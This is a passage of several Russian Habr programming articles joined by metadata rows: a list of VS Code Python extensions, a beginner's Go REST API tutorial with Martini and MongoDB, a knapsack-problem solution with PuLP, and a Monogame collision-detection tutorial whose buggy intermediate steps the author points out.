→ [Скачать расширение Python](https://marketplace.visualstudio.com/items?itemName=ms-python.python)
### Python Snippets
**Python Snippets** — это расширение, предоставляющее встроенные наборы сниппетов, которые были разработаны Ферхатом Ялчином (Ferhat Yalçın). Этот плагин отлично подходит для всех, в том числе и для новичков.
Python Snippets содержит множество встроенных сниппетов, таких как `string`, `list`, `sets`, `tuple`, `dictionary`, `class` и другие.
Еще одно преимущество этого плагина: он предоставляет как минимум по одному примеру для каждого сниппета, что особенно актуально при изучении Python.
→ [Скачать Python Snippets](https://marketplace.visualstudio.com/items?itemName=frhtylcn.pythonsnippets)
### Python Docstring Generator
Никто не будет сомневаться в важности ведения документации, но все мы понимаем, что иногда это может быть не самой приятной задачей. С **Python Docstring Generator** от разработчиков потребуется минимум усилий благодаря автоматическому созданию строк документации (docstrings).
Особенно круто, что это расширение следует всем стандартным форматам строк документации, включая `Google`, `docBlockr`, `Numpy`, `Sphinx` и `PEP0257`).
Кроме того, этот генератор строк документации поддерживает `args`, `kwargs`, `decorators`, `errors` и типы параметров, отображая их как многострочный комментарий.
Просто посмотрите на это:
→ [Скачать Python Docstring Generator](https://marketplace.visualstudio.com/items?itemName=njpwerner.autodocstring)
### Python Test Explorer для Visual Studio Code
Расширение **Python Test Explorer** позволяет запускать тесты Python `unittest` или Pytest с помощью Test Explorer UI. Этот небольшой и удобный инструмент с отличным пользовательским интерфейсом и возможностями отладки позволит протестировать ваш код прямо из VS Code.
Каждый осознает важность модульного тестирования, поэтому наличие такого инструмента в IDE или редакторе кода просто необходимо.
→ [Скачать Python Test Explorer](https://marketplace.visualstudio.com/items?itemName=LittleFoxTeam.vscode-python-test-adapter)
### Python Preview
**Python Preview** — это расширение, которое включает визуальную отладку в ваш код на Python. Оно превращает процесс отладки кода в интерактивное действие с анимацией и графическими элементами для представления состояния вашего приложения.
Вы должны это увидеть:
→ [Скачать Python Preview](https://marketplace.visualstudio.com/items?itemName=dongli.python-preview)
### Python Type Hint
Да, в Python есть что-то вроде типов (Types). И да, это круто! [Type Hints](https://docs.python.org/3/library/typing.html) для Python — как TypeScript для JavaScript. Это расширение полностью меняет правила игры. Надеюсь, что мы будем видеть его всё чаще в руководствах и реализации. **Python Type Hint** предоставляет подсказки автодополнения для встроенных и предполагаемых типов и модуля typing.
Более того, оно может искать Python-файлы в рабочей области для прогнозирования и определения типа.
→ [Скачать Python Type Hint](https://marketplace.visualstudio.com/items?itemName=njqdev.vscode-python-typehint)
### Jupyter
**Jupyter** — одно из моих любимых расширений VS Code. Да, это как раз то, о чем вы подумали, — Jupyter Notebooks в VS Code.
Я тот человек, который всегда работает с Jupyter Notebooks, это расширение действительно полезно. И я считаю, что мне еще многое в нем предстоит изучить.
Интеграция с Jupyter Notebooks — одна из моих любимых функций в PyCharm, и, честно говоря, интеграция в PyCharm мне нравится больше, чем интеграция в VS Code. Однако Jupyter для VS Code бесплатно, а интеграция с PyCharm доступна только в профессиональной версии.
→ [Скачать Jupyter](https://marketplace.visualstudio.com/items?itemName=ms-toolsai.jupyter)
### Вывод
VS Code меня приятно удивил! Это надежный инструмент для быстрого, гибкого кодинга с расширенной функциональностью.
Забавно, что все перечисленные расширения являются моими любимыми функциями в PyCharm, но в VS Code они бесплатны, но при этом такие же удобные.
Некоторые нюансы в редакторе VS Code меня беспокоят, поэтому я по-прежнему выбираю PyCharm. Однако с появлением таких качественных расширений VS Code я понимаю, что оправдать стоимость PyCharm будет всё сложнее.
Спасибо за внимание! | https://habr.com/ru/post/542286/ | null | ru | null |
# Язык Go для начинающих
Цель этой статьи — рассказать о языке программирования **Go** (Golang) тем разработчикам, которые смотрят в сторону этого языка, но еще не решились взяться за его изучение. Рассказ будет вестись на примере реального приложения, которое представляет из себя RESTful API веб-сервис.
Передо мной стояла задача разработать бэкэнд к мобильному сервису. Суть сервиса довольно проста. Мобильное приложение, которое показывает посты пользователей, находящихся рядом с текущим местоположением. На посты пользователи могут оставлять свои комментарии, которые тоже, в свою очередь, можно комментировать. Получается своеобразный гео-форум.
Давно хотел попробовать применить язык Go для сколь нибудь серьезных проектов. Выбор был очевиден, благо что этот язык как нельзя лучше подходит для подобных задач.
Основные преимущества языка Go:
* **Простой и понятный синтаксис**. Это делает написание кода приятным занятием.
* **Статическая типизация**. Позволяет избежать ошибок, допущенных по невнимательности, упрощает чтение и понимание кода, делает код однозначным.
* **Скорость и компиляция**. Скорость у Go в десятки раз быстрее, чем у скриптовых языков, при меньшем потреблении памяти. При этом, компиляция практически мгновенна. Весь проект компилируется в один бинарный файл, без зависимостей. Как говорится, «просто добавь воды». И вам не надо заботиться о памяти, есть сборщик мусора.
* **Отход от ООП**. В языке нет классов, но есть структуры данных с методами. Наследование заменяется механизмом встраивания. Существуют интерфейсы, которые не нужно явно имплементировать, а лишь достаточно реализовать методы интерфейса.
* **Параллелизм**. Параллельные вычисления в языке делаются просто, изящно и без головной боли. Горутины (что-то типа потоков) легковесны, потребляют мало памяти.
* **Богатая стандартная библиотека**. В языке есть все необходимое для веб-разработки и не только. Количество сторонних библиотек постоянно растет. Кроме того, есть возможность использовать библиотеки C и C++.
* **Возможность писать в функциональном стиле**. В языке есть замыкания (closures) и анонимные функции. Функции являются объектами первого порядка, их можно передавать в качестве аргументов и использовать в качестве типов данных.
* **Авторитетные отцы-основатели и сильное комьюнити**. Роб Пайк, Кен Томпсон, Роберт Гризмер стояли у истоков. Сейчас у языка более 300 контрибьюторов. Язык имеет сильное сообщество и постоянно развивается.
* **Open Source**
* **Обаятельный талисман**
Все эти, и многие другие особенности позволяют выделить язык среди остальных. Это достойный кандидат на изучение, к тому же, освоить язык довольно просто.
Итак, вернемся к нашей задаче. Хоть язык и не накладывает ограничений на структуру проекта, данное приложение я решил организовать по модели MVC. Правда View реализовывается на стороне клиента. В моем случае это был AngularJS, в перспективе — нативное мобильное приложение. Здесь я расскажу лишь об API на стороне сервиса.
Структура проекта получилась следующая:
```
/project/
/conf/
errors.go
settings.go
/controllers/
posts.go
users.go
/models/
posts.go
users.go
/utils/
helpers.go
loctalk.go
```
Программа в Go разделяется на пакеты (package), что указывается в начале каждого файла. Имя пакета должно соответствовать директории в которой находятся файлы, входящие в пакет. Так же, должен быть главный пакет main с функцией main(). Он у меня находится в корневом файле приложения loctalk.go. Таким образом, у меня получилось 5 пакетов: conf, controllers, models, utils, main.
Буду приводить неполное содержание файлов, а только минимально необходимое для понимания.
Пакет conf содержит константы и настройки сайта.
```
package conf
import (
"os"
)
const (
SITE_NAME string = "LocTalk"
DEFAULT_LIMIT int = 10
MAX_LIMIT int = 1000
MAX_POST_CHARS int = 1000
)
func init() {
mode := os.Getenv("MARTINI_ENV")
switch mode {
case "production":
SiteUrl = "http://loctalk.net"
AbsolutePath = "/path/to/project/"
default:
SiteUrl = "http://127.0.0.1"
AbsolutePath = "/path/to/project/"
}
}
```
Думаю, комментировать тут нечего. Функция init() вызывается в каждом пакете до вызова main(). Их может быть несколько в разных файлах.
Пакет main.
```
package main
import (
"github.com/go-martini/martini"
"net/http"
"loctalk/conf"
"loctalk/controllers"
"loctalk/models"
"loctalk/utils"
)
func main() {
m := martini.Classic()
m.Use(func(w http.ResponseWriter) {
w.Header().Set("Content-Type", "application/json; charset=utf-8")
})
m.Map(new(utils.MarshUnmarsh))
Auth := func(mu *utils.MarshUnmarsh, req *http.Request, rw http.ResponseWriter) {
reqUserId := req.Header.Get("X-Auth-User")
reqToken := req.Header.Get("X-Auth-Token")
if !models.CheckToken(reqUserId, reqToken) {
rw.WriteHeader(http.StatusUnauthorized)
rw.Write(mu.Marshal(conf.ErrUserAccessDenied))
}
}
// ROUTES
m.Get("/", controllers.Home)
// users
m.Get("/api/v1/users", controllers.GetUsers)
m.Get("/api/v1/users/:id", controllers.GetUserById)
m.Post("/api/v1/users", controllers.CreateUser)
// …
// posts
m.Get("/api/v1/posts", controllers.GetRootPosts)
m.Get("/api/v1/posts/:id", controllers.GetPostById)
m.Post("/api/v1/posts", Auth, controllers.CreatePost)
// ...
m.Run()
}
```
В самом верху определяется имя пакета. Далее идет список импортируемых пакетов. Мы будем использовать пакет [Martini](https://github.com/go-martini/martini). Он добавляет легкую прослойку для быстрого и удобного создания веб-приложений. Обратите внимание как импортируется этот пакет. Нужно указать путь к репозиторию откуда он был взят. А чтобы его получить, достаточно в консоли набрать команду go get github.com/go-martini/martini
Далее мы создаем экземпляр Martini, настраиваем и запускаем его. Обратите внимание на знак « := ». Это сокращенный синтаксис, он означает: создать переменную соответствующего типа и инициализировать ее. Например, написав a := «hello», мы создадим переменную a типа string и присвоим ей строку «hello».
Переменная m в нашем случае имеет тип \*ClassicMartini, именно это возвращает martini.Classic(). \* означает указатель, т. е. передается не само значение, а лишь указатель на него. В метод m.Use() мы передаем функцию-обработчик. Этот Middleware позволяет Martini делать определенные действия над каждым запросом. В данном случае, мы определяем Content-Type для каждого запроса. Метод m.Map() же позволяет привязать нашу структуру и использовать ее затем в контроллерах при необходимости (механизм dependency injection). В данном случае, я создал обертку для кодирования структуры данных в формат json.
Тут же мы создаем внутреннюю функцию Auth, которая проверяет авторизацию пользователя. Ее можно вставить в наши роуты и она будет вызываться до вызова контроллера. Эти вещи возможны благодаря Martini. С использованием стандартной библиотеки код получился бы немного другой.
Взглянем на файл errors.go пакета conf.
```
package conf
import (
"fmt"
"net/http"
)
type ApiError struct {
Code int `json:"errorCode"`
HttpCode int `json:"-"`
Message string `json:"errorMsg"`
Info string `json:"errorInfo"`
}
func (e *ApiError) Error() string {
return e.Message
}
func NewApiError(err error) *ApiError {
return &ApiError{0, http.StatusInternalServerError, err.Error(), ""}
}
var ErrUserPassEmpty = &ApiError{110, http.StatusBadRequest, "Password is empty", ""}
var ErrUserNotFound = &ApiError{123, http.StatusNotFound, "User not found", ""}
var ErrUserIdEmpty = &ApiError{130, http.StatusBadRequest, "Empty User Id", ""}
var ErrUserIdWrong = &ApiError{131, http.StatusBadRequest, "Wrong User Id", ""}
// … и т. д.
```
Язык поддерживает возврат нескольких значений. Вместо механизма try-catch, очень часто используется прием, когда вторым аргументом возвращается ошибка. И при ее наличии, она обрабатывается. Есть встроенный тип error, который представляет из себя интерфейс:
```
type error interface {
Error() string
}
```
Таким образом, чтобы реализовать этот интерфейс, достаточно иметь метод Error() string. Я создал свой тип для ошибок ApiError, который более специфичен для моих задач, однако совместим со встроенным типом error.
Обратите внимание на — type ApiError struct. Это определение структуры, модели данных, которую вы будете использовать постоянно в своей работе. Она состоит из полей определенных типов (надеюсь, вы успели заметить, что тип данных пишется после имени переменной). Кстати, полями могут быть другие структуры, наследуя все методы и поля. В одинарных кавычках `` указаны теги. Их указывать не обязательно. В данном случае они используются пакетом encoding/json для указания имени в выводе json (знак минус «-» вообще исключает поле из вывода).
Обратите внимание, что поля структуры написаны с заглавной буквы. Это означает, что они имеют область видимости за пределами пакета. Если написать их с прописной буквы, они экспортироваться не будут, а будут доступны только в пределах пакета. Это же относится и к функциям и методам. Вот такой простой механизм инкапсуляции.
Двигаемся дальше. Определение func (e \*ApiError) Error() string означает ни что иное, как метод данной структуры. Переменная e — это указатель на структуру, своего рода self/this. Соответственно вызвав метод .Error() на структуре, мы получим ее поле Message.
Далее мы определяем предустановленные ошибки и заполняем их поля. Поля вида http.StatusBadRequest — это значения типа int в пакете http для стандартных кодов ответа, своего рода алиасы. Мы используем сокращенный синтаксис объявления структуры &ApiError{} с инициализацией. По другому можно было бы написать так:
```
MyError := new(ApiError)
MyError.Code = 110
// …
```
Символ & означает получить указатель на данную структуру. Оператор new() так же возвращает указатель, а не значение. По-началу возникает небольшая путаница с указателями, но, со временем, вы привыкните.
Перейдем к нашим моделям. Приведу урезанную версию модели постов:
```
package models
import (
"labix.org/v2/mgo/bson"
"loctalk/conf"
"loctalk/utils"
"time"
"unicode/utf8"
"log"
)
// GeoJSON format
type Geo struct {
Type string `json:"-"`
Coordinates [2]float64 `json:"coordinates"`
}
type Post struct {
Id bson.ObjectId `json:"id" bson:"_id,omitempty"`
UserId bson.ObjectId `json:"userId"`
UserName string `json:"userName"`
ThumbUrl string `json:"thumbUrl"`
ParentId bson.ObjectId `json:"parentId,omitempty" bson:",omitempty"`
Enabled bool `json:"-"`
Body string `json:"body"`
Geo Geo `json:"geo"`
Date time.Time `json:"date" bson:",omitempty"`
}
func NewPost() *Post {
return new(Post)
}
func (p *Post) LoadById(id string) *conf.ApiError {
if !bson.IsObjectIdHex(id) {
return conf.ErrPostIdWrong
}
session := utils.NewDbSession()
defer session.Close()
c := session.Col("posts")
err := c.Find(bson.M{"_id": bson.ObjectIdHex(id), "enabled": true}).One(p)
if p.Id == "" {
return conf.ErrPostNotFound
}
if err != nil {
return conf.NewApiError(err)
}
return nil
}
func (p *Post) Create() (id string, err *conf.ApiError) {
// validation
switch {
case p.UserId == "":
err = conf.ErrUserIdEmpty
case p.Body == "":
err = conf.ErrPostBodyEmpty
case utf8.RuneCountInString(p.Body) > conf.MAX_POST_CHARS:
err = conf.ErrPostMaxSize
case p.Geo.Coordinates[0] == 0.0 || p.Geo.Coordinates[1] == 0.0:
err = conf.ErrPostLocationEmpty
}
if err != nil {
return
}
p.Id = bson.NewObjectId()
p.Geo.Type = "Point"
p.Enabled = true
p.Date = time.Now()
session := utils.NewDbSession()
defer session.Close()
c := session.Col("posts")
errDb := c.Insert(p)
if errDb != nil {
return "", conf.NewApiError(errDb)
}
return p.Id.Hex(), nil
}
func (p *Post) Update() *conf.ApiError {
session := utils.NewDbSession()
defer session.Close()
c := session.Col("posts")
err := c.UpdateId(p.Id, p)
if err != nil {
return conf.NewApiError(err)
}
return nil
}
func (p *Post) Disable() *conf.ApiError {
session := utils.NewDbSession()
defer session.Close()
p.Enabled = false
c := session.Col("posts")
err := c.UpdateId(p.Id, p)
if err != nil {
return conf.NewApiError(err)
}
return nil
}
// …
```
Здесь мы используем замечательный драйвер для MongoDb — mgo, чтобы сохранять данные. Для удобства, я создал небольшую обертку над api mgo — utils.NewDbSession. Логика работы с данными: сначала мы создаем объект во внутренней структуре языка, а затем, с помощью метода этой структуры, сохраняем его в базу данных.
Обратите внимание, что в этих методах мы везде используем наш тип ошибки conf.ApiError. Стандартные ошибки мы конвертируем в наши с помощью conf.NewApiError(err). Так же, важен оператор defer. Он исполняется в самом конце выполнения метода. В данном случае, закрывает соединение с БД.
Что ж, осталось взглянуть на контроллер, который обрабатывает запросы и выводит json в ответ.
```
package controllers
import (
"encoding/json"
"fmt"
"github.com/go-martini/martini"
"labix.org/v2/mgo/bson"
"loctalk/conf"
"loctalk/models"
"loctalk/utils"
"net/http"
)
func GetPostById(mu *utils.MarshUnmarsh, params martini.Params) (int, []byte) {
id := params["id"]
post := models.NewPost()
err := post.LoadById(id)
if err != nil {
return err.HttpCode, mu.Marshal(err)
}
return http.StatusOK, mu.Marshal(post)
}
// ...
```
Здесь мы получаем из URL id запрашиваемого поста, создаем новый экземпляр нашей структуры и вызываем на ней метод LoadById(id) для загрузки данных из БД и заполнения данной структуры. Которую мы и выводим в HTTP ответ, предварительно преобразовав в json нашим методом mu.Marshal(post).
Обратите внимание на сигнатуру функции:
```
func GetPostById(mu *utils.MarshUnmarsh, params martini.Params) (int, []byte)
```
Входные параметры нам предоставляет Martini с помощью механизма внедрения зависимостей (dependency injection). И мы возвращаем два параметра (int, []byte) — число (статус ответа) и массив байт.
Итак, мы разобрали основные компоненты и подходы, используя которые, вы сможете сделать эффективный RESTful API интерфейс в короткие сроки. Надеюсь, статья была полезна и вдохновит некоторых из вас заняться изучением замечательного языка Go. Уверен, за ним будущее.
Для изучения могу порекомендовать хорошую книгу на русском «[Программирование на языке Go](http://dmkpress.com/catalog/computer/programming/978-5-94074-854-0/)» Марка Саммерфильда. И, конечно, больше практиковаться.
UPD: [Tour Go](http://go-tour-ru.appspot.com/) на русском. | https://habr.com/ru/post/219459/ | null | ru | null |
# Классика оптимизации: задача рюкзака (knapsack problem)
Рассмотрим следующую ситуацию. Допустим вы хотите поехать за границу, но валюту вам не меняют — вы можете перевезти с собой лишь товары для реализации на свободном рынке «там». С собой в самолет разрешено взять не более 20 кг. Возникает вопрос – какие товары взять, чтобы перевезти максимальную ценность, учитывая ограничение по весу? Водку (17$ / 1,5 кг), большую матрешку (30$ / 2,5 кг), балалайки (75$ / 6 кг) или еще что-то и в каких количествах?
Напрашивается решение – найти товар с самым лучшим соотношением цена/вес и взять его в максимальном количестве.
Посмотрим – 3 балалайки \* 75$ + 1 бутылка \* 17$ = 242$ (общий вес 19,5 кг). Осталось неиспользованными полкило, которые можно задействовать по-другому:
2 балалайки \* 75$ + 2 большие матрешки \* 30$ + 2 бутылки \* 17$ = 244$ (общий вес 20 кг).
Т.е. «на глазок» не всегда может получиться самый выгодный вариант. К тому же, часто возникают дополнительные ограничения (больше 2-х бутылок не вывезти, в продаже всего 1 балалайка), да и при большом количестве товаров ручной подсчет затруднителен. Поэтому задачу формализуют для решения на компьютере.
*Задача в общем виде (knapsack problem):* Имеется набор предметов, каждый с определенным весом и определенной стоимостью. Из этого набора необходимо выбрать предметы с максимальной стоимостью, с учетом ограничения на максимальный вес (вес «рюкзака»).
Если в задаче можно только либо брать, либо не брать определенный товар, то задача будет бинарной (0-1 knapsack problem).
Если бы число предметов не предполагалось целым, то задача бы решалась как *задача линейного программирования*, например, симплекс-методом.
Вследствие целочисленности числа предметов, задача становится задачей *целочисленного линейного программирования* и решается методом ветвей и границ (branchAndBound или branchAndCut). Этот метод уже реализован в математических пакетах для многих языков программирования (обсудить его можно будет в специальном материале).
В нашем случае решать задачу предлагается с помощью свободно распространяемого решателя COIN-OR ([www.coin-or.org](http://www.coin-or.org/)) или GLPK (<http://www.gnu.org/software/glpk/glpk.html>), для которых есть удобная «обертка» на Python – **PuLP**. PuLP доступен в Google Code (<http://code.google.com/p/pulp-or/>).
Используя PuLP, получается вот такой код:
> `1. #-\*- coding: cp1251 -\*-
> 2. # импортируем функции PuLP
> 3. from pulp import \*
> 4.
> 5. # Создаем новую задачу Линейного программирования (LP) с максимизацией целевой функции
> 6. prob = LpProblem("Knapsack problem", LpMaximize)
> 7.
> 8. # Переменные оптимизации, целые
> 9. x1 = LpVariable("x1", 0, 10, 'Integer')
> 10. x2 = LpVariable("x2", 0, 10, 'Integer')
> 11. x3 = LpVariable("x3", 0, 10, 'Integer')
> 12.
> 13. # Целевая функция ("ценность рюкзака")
> 14. prob += 17\*x1 + 30\*x2 + 75\*x3, "obj"
> 15.
> 16. # Ограничение ("вес рюкзака")
> 17. prob += 1.5\*x1 + 2.5\*x2 + 6\*x3 <= 20, "c1"
> 18.
> 19. # Запускаем решатель
> 20. prob.solve()
> 21.
> 22. # Выводим статус задачи
> 23. print "Status:", LpStatus[prob.status]
> 24.
> 25. # Выводим получившиеся оптимальные значения переменных
> 26. for v in prob.variables():
> 27. print v.name, "=", v.varValue
> 28.
> 29. # Выводим оптимальное значение целевой функции
> 30. print ("objective = %s$" % value(prob.objective))
> \* This source code was highlighted with Source Code Highlighter.`
Файл можно загрузить отсюда: [knapsack.py](http://narod.ru/disk/18015932000/knapsack.py.html)
В результате работы скрипта получаем решение:
`~$ python knapsack.py
Status: Optimal
x1 = 2.0
x2 = 2.0
x3 = 2.0
objective = 244.0$`
Приятно видеть, что для данной задачи нам удалось его обнаружить самим.
Продолжая эксперименты вы можете увеличивать количество переменных, вводить новые ограничения. К тому же, большое количество других примеров можно найти в [документации к PuLP (PDF)](http://pulp-or.googlecode.com/files/pulp1.4.7.pdf) | https://habr.com/ru/post/83918/ | null | ru | null |
# Как написать игру на Monogame, не привлекая внимания санитаров. Часть 4, решаем основной вопрос философии
Предыдущие части: [Часть 0](https://habr.com/ru/post/676850/), [Часть 1](https://habr.com/ru/post/676998/), [Часть 2](https://habr.com/ru/post/677718/), [Часть 3](https://habr.com/ru/post/679456/)
К сожалению, обстоятельства вынудили меня ненадолго прервать написание статей почти на четыре месяца, но проект не заморожен, код пишется, статьи будут публиковаться.
*4.6 Даем объектам свойство материальности*
Теперь поговорим о том, как сделать так, чтобы спрайты обросли плотью внутри нашей маленькой вселенной. Если в предыдущих разделах я более-менее понимал, что творю, то сейчас вступил на территорию, которая для меня является достаточно новой. Я много писал на C#, но очень мало писал игры и даже приложения, где необходимо так или иначе обсчитывать «физику» объектов. По роду деятельности я в основном работаю с дискретными системами, когда пространство поделено на одинаковые клетки, и в клетке в один момент времени может быть только один объект. В таких системах сама клетка выступает формочкой, поэтому не нужно особо заморачиваться с обсчетом столкновений. При моделировании «непрерывного» пространства приходится вводить новую сущность, которая отвечает за форму - коллайдер.
Создаем класс RectangleCollider, который будет придавать объектам прямоугольную форму:
```
public class RectangleCollider
{
public Rectangle Boundary { get; set; }
public RectangleCollider(int x, int y, int width, int height)
{
Boundary = new Rectangle(x, y, width, height);
}
public static bool IsCollided(RectangleCollider r1, RectangleCollider r2)
{
return r1.Boundary.Intersects(r2.Boundary);
}
}
```
В Monogame есть класс Rectangle, который можно использовать для обнаружения пересечений между объектами. Я сделал над ним еще один класс для удобства работы. Класс RectangleCollider содержит сам Rectangle, конструктор для его создания и статический метод IsCollided, который вызывает уже существующий метод Intersects. Я так сделал, потому что мне удобнее вызывать метод столкновения без привязки к конкретному прямоугольнику.
Теперь добавим нашим объектам способность быть материальными. Создаем интерфейс, который говорит нам о том, что объект имеет твердую форму:
```
public interface ISolid
{
RectangleCollider Collider { get; set; }
void MoveCollider(Vector2 newPos);
}
```
Метод MoveCollider нужен, чтобы передвигать наш прямоугольник вместе с объектом. Теперь прилепим коллайдер к машинке и соответствующим образом изменим код:
```
public class Car : IObject, ISolid
{
private Vector2 _speed;
public Vector2 Pos { get; set; }
RectangleCollider Collider { get; set; }
public Car(Vector2 position)
{
Pos = position;
Collider = new RectangleCollider((int)Pos.X, (int)Pos.Y, 77, 100);
}
public void Update()
{
Pos += Speed;
Speed = new Vector2(0, Speed.Y);
}
public void MoveCollider(Vector2 newPos)
{
Collider.Boundary.Offset(newPos);
}
}
```
Так как машинка реализует интерфейс ISolid, то я добавил поле прямоугольного коллайдера, определил метод его сдвига, прописал инициализацию в конструкторе так, чтобы коллайдер по размерам соответствовал спрайту, и добавил вызов движения коллайдера в Update().
Теперь подробнее о том, как происходит сдвиг коллайдера. Объект Rectangle меняет позицию через метод Offset, напрямую его координату не поменять. У него есть три перегрузки, я выбрал ту, которая работает через Vector2, так как позиция коллайдера всегда такая же, как позиция объекта, а ее мы задаем так же через Vector2. Сейчас мы видим две особенности – во-первых, размеры нашего прямоугольника хардкодятся, потому что ему пока неоткуда взять размер машинки, во-вторых, теперь мы не можем менять поле Pos от балды, извне, иначе изображение и коллайдер машинки разойдутся.
Однако далее при проверке я выяснил, что метод Offset не работает как надо - он создает новый прямоугольник, который надо куда-то записать. Мне не понравился синтаксис для этого, тем более, никакого выигрыша по производительности не будет, потому что мы все равно создаем новый объект. Поэтому я поправил этот кусок и метод MoveCollider стал выглядеть следующим образом:
```
public void MoveCollider(Vector2 newPos)
{
Collider = new RectangleCollider((int)Pos.X, (int)Pos.Y, 77, 100);
}
```
Итак, в машинку мы добавили свойство твердости, а что с ней делать будем решать уже в игровом цикле. Пока достаточно сделать так, чтобы объекты просто не входили друг в друга. И, нужно сказать, уже на этом этапе такая задача для меня оказалась нетривиальной. Методом проб и ошибок я осуществил две реализации при разработке первой версии игры, и они работали, но никогда меня не удовлетворяли полностью. Поэтому в этот раз я решил придумать что-то новое и более простое по сравнению с предыдущими реализациями. И, чтобы показать, что все не так просто, как кажется (хотя, для кого-то проблема окажется не стоящей выеденного яйца), я продемонстрирую весь путь до решения, включая неудачные шаги.
Задачу обсчета столкновений можно разбить на два этапа – обнаружение того, что столкновение вообще произошло, и что с этим дальше делать.
И уже на первом этапе начинается нечто интересное. Если бы мы делали «дискретную» игру, подобную пошаговым стратегиям типа Цивилизации или Героев Меча и Магии (да даже шахмат), где все объекты могут находиться только внутри клеток и не могут иметь промежуточных координат, то проблемы бы не стояло вообще – мы знаем, в какую клетку объект собирается шагать и можем посмотреть, есть ли там что-то. Это легко реализовать даже в лоб с помощью массива. По сути, в таких играх нет физики.
В нашем случае, так как у нас нет жесткой привязки объектов в какой-либо позиции (тайлы сейчас, по сути, служат для упрощения размещения объектов при инициализации) мы сталкиваемся с проблемой того, как понять, а произошло ли столкновение? Напрашивается решение в лоб – у нас есть словарь объектов, почему бы их просто попарно не проверить на столкновение? Оно крайне неоптимальное, но работать будет, поэтому начнем с него. Кроме того, помним – проверять на столкновение можно и нужно не все объекты, а только имеющие свойство твердости. Следовательно, предварительно нам нужно проверить - а нужно ли вообще у этого объекта обсчитывать столкновения?
```
public void Update()
{
Vector2 playerInitPos = Objects[PlayerId].Pos;
foreach (var o in Objects.Values)
{
o.Update();
if (o is ISolid && o is Car p1)
{
foreach (var ao in Objects.Values)
if (ao is ISolid p2)
{
if (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
p1.Speed = new Vector2(0, 0);
}
}
}
}
Vector2 playerShift = Objects[PlayerId].Pos - playerInitPos;
Updated.Invoke(this, new GameplayEventArgs
{
Objects = Objects,
POVShift = playerShift
});
}
```
Итак, мы проверяем, является ли текущий объект твердым (и машинкой), дальше циклом проверяем все остальные объекты на карте, так же смотрим, является ли второй объект твердым и, если эти две сущности нашли друг друга, то останавливаем текущий объект. Двойная проверка здесь является ошибкой, так как если объект - машина, то он уже твердый, но далее я это поправлю.
Сложность алгоритма только что возросла, потому что вместо одного мы проходимся по словарю объектов два раза. Теперь, если добавить два новых объекта, количество шагов каждый игровой цикл увеличится на 4. Это очень плохо, но потом решим, что с этим делать – пока объектов мало и на скорости это не скажется.
Немного поменяем карту, чтобы генерировать машинки рядом.
```
private char [,] _map = new char [11, 500];
private int _tileSize = 100;
public int PlayerId { get ;set; }
public Dictionary Objects { get; set; }
public void Initialize()
{
Objects = new Dictionary();
\_map[5, 7] = 'С';
\_map[6, 2] = 'P';
}
```
Если запустим наш код, то машинка не будет двигаться, потому что сталкивается сама с собой. Следует прописать, что не нужно проверять в этом случае столкновение собой. Для этого заменим foreach на for и будем определять одинаковость объектов по ключу. Попутно у второго цикла сделаем отсчет не с 1-го ключа, а с текущего+1, чтобы два раза не проверять столкновение одних и тех же объектов (спойлер – работает некорректно). Тем самым заодно и решается проблема столкновения объекта с самим собой (если вам показалось, что здесь может быть ошибка, если какой-то объект будет удален из словаря, то вам не показалось):
```
public void Update()
{
Vector2 playerInitPos = Objects[PlayerId].Pos;
for (int i = 1; i <= Objects.Keys.Count; i++)
{
Objects[i].Update();
if (Objects[i] is Car p1)
{
for (int j = i+1; j <= Objects.Keys.Count; j++)
{
if (Objects[j] is ISolid p2)
{
if (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
p1.Speed = new Vector2(0, 0);
}
}
}
}
}
Vector2 playerShift = Objects[PlayerId].Pos - playerInitPos;
Updated.Invoke(this, new GameplayEventArgs
{
Objects = Objects,
POVShift = playerShift
});
}
```
Если мы запустим этот код, то увидим, что ничего не работает:
Это происходит потому, что в нашем алгоритме имеет значение порядок того, кто с кем столкнулся. Так как неподвижная машинка имеет меньший Id, чем машинка игрока (так как генерируется по карте раньше), то получается, что при столкновении объектов p1 и p2 зануляется скорость именно неподвижной машинки, а не игрока.
В порядке эксперимента, можно попробовать остановить оба столкнувшихся объекта:
Но, вот незадача – объект p2 является ISolid, а у ISolid нет поля скорости. Печально. Можно было бы p2 тоже привести к типу Car, но кто сказал, что в нашей игре могут двигаться только машины? Сделать еще один интерфейс IMovable? Возможно, придется, но в этом месте я подумал, что логично сделать поле скорости не только у машинки, а у всех классов, которые реализуют IObject, потому что нам может понадобиться двигать любой объект вплоть до элементов пользовательского интерфейса и даже стенок. В принципе, наверное, более правильно было бы все-таки навернуть интерфейс IMovable, но мне откровенно не нравится возиться с этими бесконечными привидениями к типу. Сейчас я пытаюсь сделать так, чтобы объекты были более-менее автономными, поэтому все их поведение вынесено в метод Update, который есть у всех объектов, так как у меня словарь элементов IObject. Игровой цикл работает с взаимодействиями между объектами, например, заведует обсчетом столкновений. Если скорость будет в IMovable, то придется либо делать отдельную коллекцию для подвижных объектов, либо пытаться привести объект к типу IMovable... короче, я это вижу не так. Поэтому просто сделаю возможность наличия скорости у всех IObject, а что они будут с ней делать решат при конкретной реализации. Итак, добавляем IObject поле скорости:
```
public interface IObject
{
int ImageId { get; set; }
Vector2 Pos { get; set; }
Vector2 Speed { get; set; }
void Update();
}
```
И реализуем скорость у стенки – у машинки она уже есть:
```
class Wall : IObject
{
public int ImageId { get; set; }
public Vector2 Pos { get; set; }
public Vector2 Speed { get; set; }
public void Update()
{
}
}
```
Мне это нравится больше, чем возиться с гигантским количеством интерфейсов. Все хорошо в меру. Теперь кусок обсчета столкновений в GameCycle мы можем сделать так:
```
<..........................>
if (Objects[i] is Car p1)
{
for (int j = i + 1; j <= Objects.Keys.Count; j++)
{
if (Objects[j] is ISolid p2)
{
if (RectangleCollider.IsCollided(p1.Collieder, p2.Collider))
{
Objects[i].Speed = new Vector2(0, 0);
Objects[j].Speed = new Vector2(0, 0);
}
}
}
}
<..........................>
```
Вместо Car в первой строке можно аналогично приводить к ISolid.
Такое решение будет работать (я немного изменил движение машинки, чтобы легче было работать — теперь у них нет ускорения):
